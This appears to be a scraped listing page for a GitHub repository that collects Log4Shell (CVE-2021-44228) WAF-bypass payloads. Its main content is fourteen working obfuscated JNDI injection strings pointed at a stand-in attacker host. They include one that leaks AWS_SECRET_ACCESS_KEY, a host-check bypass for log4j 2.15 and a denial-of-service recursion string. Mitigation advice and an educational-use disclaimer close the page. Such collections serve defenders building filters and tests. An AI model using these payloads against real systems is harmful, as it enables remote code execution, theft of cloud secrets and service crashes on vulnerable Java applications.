All Projects → Puliczek → CVE-2021-44228-PoC-log4j-bypass-words

Puliczek / CVE-2021-44228-PoC-log4j-bypass-words

Licence: other
🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java exploit - WAF bypass tricks

Programming Languages

java
68154 projects - #9 most used programming language

Projects that are alternatives of or similar to CVE-2021-44228-PoC-log4j-bypass-words

awesome-list-of-secrets-in-environment-variables
🦄🔒 Awesome list of secrets in environment variables 🖥️
Stars: ✭ 538 (-29.21%)
Mutual labels:  exploit, log4j, cybersecurity, poc, writeups, bugbounty, red-team, security-writeups, cve-2021-44228, bugbounttips
log4j-detector
Log4J scanner that detects vulnerable Log4J versions (CVE-2021-44228, CVE-2021-45046, etc) on your file-system within any application. It is able to even find Log4J instances that are hidden several layers deep. Works on Linux, Windows, and Mac, and everywhere else Java runs, too!
Stars: ✭ 622 (-18.16%)
Mutual labels:  log4j, cybersecurity, pentest, cve-2021-44228, cve-2021-45046, cve-2021-45105
log4jscanwin
Log4j Vulnerability Scanner for Windows
Stars: ✭ 142 (-81.32%)
Mutual labels:  log4j, cve, cve-2021-44228, cve-2021-45046, cve-2021-45105
log4shell-finder
Fastest filesystem scanner for log4shell (CVE-2021-44228, CVE-2021-45046) and other vulnerable (CVE-2017-5645, CVE-2019-17571, CVE-2022-23305, CVE-2022-23307 ... ) instances of log4j library. Excellent performance and low memory footprint.
Stars: ✭ 22 (-97.11%)
Mutual labels:  log4j, cve-2021-44228, cve-2021-45046, cve-2021-45105
HolyTips
A Collection of Notes, Checklists, Writeups on Bug Bounty Hunting and Web Application Security.
Stars: ✭ 1,210 (+59.21%)
Mutual labels:  writeups, bugbounty, pentest, bugbounty-writeups
Writeups
This repository contains writeups for various CTFs I've participated in (Including Hack The Box).
Stars: ✭ 61 (-91.97%)
Mutual labels:  cybersecurity, cve, pentest, payload
tryhackme-ctf
TryHackMe CTFs writeups, notes, drafts, scrabbles, files and solutions.
Stars: ✭ 140 (-81.58%)
Mutual labels:  exploit, cybersecurity, writeups, pentest
Pentesting
Misc. Public Reports of Penetration Testing and Security Audits.
Stars: ✭ 24 (-96.84%)
Mutual labels:  exploit, poc, bugbounty, pentest
CVE-2021-41773 CVE-2021-42013
Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal & RCE
Stars: ✭ 20 (-97.37%)
Mutual labels:  exploit, cve, pentest, payload
Defaultcreds Cheat Sheet
One place for all the default credentials to assist the Blue/Red teamers activities on finding devices with default password 🛡️
Stars: ✭ 1,949 (+156.45%)
Mutual labels:  exploit, cybersecurity, bugbounty, pentest
Powerladon
Ladon Network Penetration Scanner for PowerShell, vulnerability / exploit / detection / MS17010/SmbGhost,Brute-Force SMB/IPC/WMI/NBT/SSH/FTP/MSSQL/MYSQL/ORACLE/VNC
Stars: ✭ 39 (-94.87%)
Mutual labels:  exploit, poc, pentest
K8cscan
K8Cscan大型内网渗透自定义插件化扫描神器,包含信息收集、网络资产、漏洞扫描、密码爆破、漏洞利用,程序采用多线程批量扫描大型内网多个IP段C段主机,目前插件包含: C段旁注扫描、子域名扫描、Ftp密码爆破、Mysql密码爆破、Oracle密码爆破、MSSQL密码爆破、Windows/Linux系统密码爆破、存活主机扫描、端口扫描、Web信息探测、操作系统版本探测、Cisco思科设备扫描等,支持调用任意外部程序或脚本,支持Cobalt Strike联动
Stars: ✭ 693 (-8.82%)
Mutual labels:  exploit, poc, pentest
K8tools
K8工具合集(内网渗透/提权工具/远程溢出/漏洞利用/扫描工具/密码破解/免杀工具/Exploit/APT/0day/Shellcode/Payload/priviledge/BypassUAC/OverFlow/WebShell/PenTest) Web GetShell Exploit(Struts2/Zimbra/Weblogic/Tomcat/Apache/Jboss/DotNetNuke/zabbix)
Stars: ✭ 4,173 (+449.08%)
Mutual labels:  exploit, poc, pentest
Cve 2019 0708
3389远程桌面代码执行漏洞CVE-2019-0708批量检测工具(Rdpscan Bluekeep Check)
Stars: ✭ 350 (-53.95%)
Mutual labels:  exploit, poc, pentest
Cve 2019 0708 Tool
A social experiment
Stars: ✭ 87 (-88.55%)
Mutual labels:  exploit, poc, cve
Exploit Discord Cache System Poc
Exploit Discord's cache system to remote upload payloads on Discord users machines
Stars: ✭ 51 (-93.29%)
Mutual labels:  exploit, poc, payload
Ladon
大型内网渗透扫描器&Cobalt Strike,Ladon8.9内置120个模块,包含信息收集/存活主机/端口扫描/服务识别/密码爆破/漏洞检测/漏洞利用。漏洞检测含MS17010/SMBGhost/Weblogic/ActiveMQ/Tomcat/Struts2,密码口令爆破(Mysql/Oracle/MSSQL)/FTP/SSH(Linux)/VNC/Windows(IPC/WMI/SMB/Netbios/LDAP/SmbHash/WmiHash/Winrm),远程执行命令(smbexec/wmiexe/psexec/atexec/sshexec/webshell),降权提权Runas、GetSystem,Poc/Exploit,支持Cobalt Strike 3.X-4.0
Stars: ✭ 2,911 (+283.03%)
Mutual labels:  exploit, poc, pentest
minecraft-log4j-honeypot
Minecraft Honeypot for Log4j exploit. CVE-2021-44228 Log4Shell LogJam
Stars: ✭ 89 (-88.29%)
Mutual labels:  exploit, log4j, cve
Cve 2019 1003000 Jenkins Rce Poc
Jenkins RCE Proof-of-Concept: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
Stars: ✭ 270 (-64.47%)
Mutual labels:  exploit, poc, cve
Hackers Tool Kit
Its a framework filled with alot of options and hacking tools you use directly in the script from brute forcing to payload making im still adding more stuff i now have another tool out called htkl-lite its hackers-tool-kit just not as big and messy to see updates check on my instagram @tuf_unkn0wn or if there are any problems message me on instagram
Stars: ✭ 211 (-72.24%)
Mutual labels:  exploit, pentest, payload
🤝 Show your support - give a ⭐️ if you liked the content | SHARE on Twitter | Follow me on

🐱‍💻 ✂️ 🤬 LOG4J Java exploit - WAF and patches bypass tricks

📝 Description

CVE-2021-44228 works on:

log4j: 2.0 <= Apache log4j <= 2.14.1

Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+.

Windows Defender started to remove .java files that include jndi:ldap:....

Simple attacker script (Possible RCE):

${jndi:ldap://somesitehackerofhell.com/z}

WAF or developers started to block phrases:

  • "ldap:"
  • "jndi:"

to secure applications.

However, the attacker can bypass it by using one of these techniques:

1. System environment variables

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

From Apache Log4j 2 documentation: ${env:ENV_NAME:-default_value}

If there is no ENV_NAME system environment variable, use text after :-

The attacker can use any name instead of ENV_NAME, but it has to no exists.

Or the hacker can read environment variable, example for AWS_SECRET_ACCESS_KEY:

${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

Check out more secrets in 🦄🔒 Awesome list of secrets in environment variables 🖥️

You can check your system environment variables:

  • On Windows execute in PowerShell: dir env:
  • On Linux/MacOS execute in terminal: printenv or env

2. Lower or Upper Lookup

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

Lower Lookup The LowerLookup converts the passed in argument to lower case. Presumably the value will be the result of a nested lookup.

${lower:<text>}

Upper Lookup The UpperLookup converts the passed in argument to upper case. Presumably the value will be the result of a nested lookup.

${upper:<text>}


3. "::-" notation

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}


4. Invalid Unicode characters with upper

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

ı get converted to i


5. System properties

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

If there is no SYS_NAME system property, use text after :-


6. ":-" notation

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}


7. Date

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

Java date formatting converts YYYY to 2021, but it converts 'YYYY' to YYYY or 'j' to j.


8. HTML URL Encoding

Replace characters with:

  • } with %7D
  • { with %7B
  • $ with %24

You can read more here HTML URL Encoding Reference


9. Non-existent lookup

${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}

It does not verify the existence of lookup and just evaluates to default happily.


10. Polymorphic (JSON REST API request)


{
    "one-${jnd${a":"a:-i}:ld${",
    "two":"o:-a}p://somesitehackerofhell.com/z}
}

"Separately these keys and values do not represent an attack. But all them together is an attack and this attack is transparent to the detection systems because of the JSON parser." Read more...


11. Unicode Characters (JSON REST API request)

${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}

Convert some characters to unicode.

Unicode converter Online


12. Trick with # (works on log4j 2.15)

${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}

Bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. The java.net.URI getHost() method returns the value before the # as the real host. But the JNDI/LDAP resolver will resolve to the full hostname string attempting to connect to the malicious LDAP server.

Read more...


13. Dos attack (Works on log4j 2.8 - 2.16 - CVE-2021-45105 )

${${::-${::-$${::-j}}}}

If a string substitution is attempted for any reason on the following string, it will trigger an infinite recursion, and the application will crash.

Read more...


14. PDF as delivery channel.

Craft special pdf file to exploit CVE-2021-44228

PDF example

Get a pdf file and read more...

Testing

To test entry you can use:

Best solution to protect from CVE-2021-44228

tl;dr Update to log4j-2.17.1 or later.

Log4j 1.x mitigation: Log4j 1.x does not have Lookups so the risk is lower. Applications using Log4j 1.x are only vulnerable to this attack when they use JNDI in their configuration. A separate CVE (CVE-2021-4104) has been filed for this vulnerability. To mitigate: audit your logging configuration to ensure it has no JMSAppender configured. Log4j 1.x configurations without JMSAppender are not impacted by this vulnerability.

Log4j 2.x mitigation: Implement one of the mitigation techniques below.

  • Java 8 (or later) users should upgrade to release 2.17.1.
  • Users requiring Java 7 should upgrade to release 2.12.4 when it becomes available (work in progress, expected to be available soon).
  • Otherwise, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class and remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.

Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.

Source and read more...

Keep it safe!

🤝 Show your support

🤝 Show your support - give a ⭐️ if you liked the content or meme | SHARE on Twitter | Follow me on

log2

📝 Useful links

🙌 Thanks to users for contribution

  • All Contributors
  • Whatsec for more bypasses examples
  • manjula-aw for improvement to section of security
  • juliusmusseau for one more bypass examples

✔️ Disclaimer

This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.

I am not an author of CVE-2021-44228 and some bypasses

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].